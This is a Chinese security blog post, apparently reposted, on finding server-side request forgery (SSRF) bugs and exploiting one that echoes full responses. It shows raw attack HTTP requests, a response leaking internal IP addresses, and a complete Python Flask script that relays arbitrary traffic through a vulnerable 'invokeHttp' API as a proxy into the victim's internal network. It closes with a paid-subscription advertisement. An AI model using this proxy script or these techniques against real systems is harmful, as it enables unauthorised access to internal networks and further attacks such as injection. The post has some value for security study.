长亭百川云 - 文章详情

SSRF骚思路

迪哥讲事

52

2024-08-08

0x01 前言

SSRF (Server-Side Request Forgery:服务器端请求伪造)

是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞

原因是由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制

本文讲解一个ssrf的挖掘方法与一个全回显ssrf的利用方法

0x02 漏洞危害

1. 前期渗透时,利用目标ssrf扫描内网存活主机或端口  
2. 如果站点是php的利用Gopher协议,去尝试攻击内网  
3. 搭建代理

0x03 漏洞局限性

1. 大部分情况下都是GET型ssrf漏洞,仅能探测存活,扫描端口、内网域名探测,危害十分有限  
2. https请求ssl证书无法正常解析

0x04 漏洞分类

ssrf的类型现在通常分为:  
1. 可回显型  
2. 非回显型  
  
在实战中,非回显型的ssrf用处属实不大,也就不详讲了

0x05 例子

0x05.1 例子: 另类ssrf挖掘

首先看一个平平无奇的数据包:

GET / HTTP/1.1  
Host: dss0.xxxxxx.com  
Pragma: no-cache  
Cache-Control: no-cache,no-transform  
Connection: close

这样看这个站点平平无奇

但是如果我们把 GET / HTTP/1.1 改成 GET http://xxxx.com HTTP/1.1 呢? 说试就试,这里我改成我的vps

可以看到的却是收到了请求,也就是说,我们在这个平平无奇的地方,挖掘到了一个ssrf

那么在试试访问其它站点

一样可以解析,这样就说明,我们挖掘到了一个全回显的ssrf,那么我们如果要进行下一步的话,是不是就可以通过这个全回显,去尝试构造一个代理了

0x05.2 例子: 一处全回显的ssrf搭代理

迎面看到一个接口管理的功能:

尝试进行内网域名扫描:

ssrf漏洞数据包:  
POST /api/invokeHttp HTTP/1.1   
Host: api.xxx.com  
Content-Length: 134  
Pragma: no-cache  
Cache-Control: no-cache  
Accept: application/json, text/plain, */*  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0 4389.9 Safari/537.36  
Content-Type: application/json;charset=UTF-8  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: 1  
Connection: close  
  
{"jsonParam":"","headers":[],"files": [],"url":"http://info.xx.com/","requestType":"GET","body":"","ip":"","port":"80","forma t":"utf-8"}  
  
  
  
  
响应包:  
HTTP/1.1 200 OK  
Server: openresty  
Date: Sun, 31 Jan 2021 15:57:57 GMT  
Content-Type: application/json;charset=UTF-8  
Content-Length: 244  
Connection: close  
Access-Control-Allow-Origin: http://poc-intest.xx.com  
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE  
Access-Control-Max-Age: 0  
Access-Control-Allow-Headers: Authorization,Origin, No-Cache, X-Requested-With, If- Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M- With,userId,token  
Access-Control-Allow-Credentials: true  
XDomainRequestAllowed: 1  
Expires: Sun, 31 Jan 2021 15:57:57 GMT  
Cache-Control: max-age=0  
  
   
{"code":1,"data":"Http Get| url:http://info.xx.com/ | e:org.apache.http.conn.HttpHostConnectException: Connect to info.xx.com:80 [info.xx.com/172.26.202.55, info.xx.com/172.26.202.48] failed: "","message":"访问成功"}

其中data字段就是调用接口以后返回的响应包

通过这个一点,我们就可以自己构造一下,写出一个基于python的代理出来代码如下:

# -*- coding: utf-8 -*-  
import requests  
import json  
from flask import Flask, request, Response, make_response  
from urllib.parse import urlparse  
from os.path import splitext, basename  
  
app = Flask(__name__)  
  
def get_filetype(url):  
    content_type = 'text/html'  
    response_mimetype = {  
        '.png': 'image/png',  
        '.js': 'application/javascript',  
        '.jpg': 'image/jpeg',  
        '.gif': 'image/gif',  
        '.jpeg': 'image/jpeg',  
        '.ico': 'image/x-icon',  
        '.css': 'text/css',  
        '.svg': 'image/svg+xml',  
  
    }  
    disassembled = urlparse(url)  
    filename, file_ext = splitext(basename(disassembled.path))  
    content_type = response_mimetype.get(file_ext, 'text/html')  
    return content_type  
  
  
@app.before_request  
def before_request():  
    proxies = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}  
    data = request.data or request.form or ''  
    dest_url = 'http://api.xxx.com/api/invokeHttp'  
    ssrfhd = {"header": "cookie",  
              "value": "username.test=ext.bmw.test;"}  
    ssrfhedlist = []  
    filist = []  
    ssrfhedlist.append(ssrfhd)  
    dest_data = {  
        'url':  request.url,  
        'requestType': request.method.lower(),  
        'files': filist,  
        'body': data,  
        'jsonParam': '',  
        'headers': ssrfhedlist,  
        'format': 'utf-8'  
    }  
    headers = dict()  
    for name, value in request.headers:  
        headers[name] = value  
    headers['Cookie'] = 'key1=value1;key2=value2;'  
    headers['Host'] = 'api.xxx.com'  
    headers['Content-Type'] = 'application/json'  
  
    resp = requests.post(url=dest_url, headers=headers,  
                         json=dest_data, proxies=proxies)  
  
    new_headers = {**resp.headers, 'Content-Type': get_filetype(request.url)}  
    if 'Content-Encoding' in new_headers.keys():  
        del new_headers['Content-Encoding']  
  
    if resp.status_code == "302":  
        resp_content_modify_html = "302"  
        return resp_content_modify_html, resp.status_code, new_headers  
    resp_content_modify = json.loads(resp.content)  
    resp_content_modify_html = resp_content_modify["data"].replace("/n", "")  
    return resp_content_modify_html, resp.status_code, new_headers  
  
if __name__ == "__main__":  
    app.run(port=8081, debug=True)

构造完毕以后,像正常使用代理一样连接即可

连接以后,通过该代理,就可以访问对方内网了

例如:

通过ssrf搭建代理挖掘的注入

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2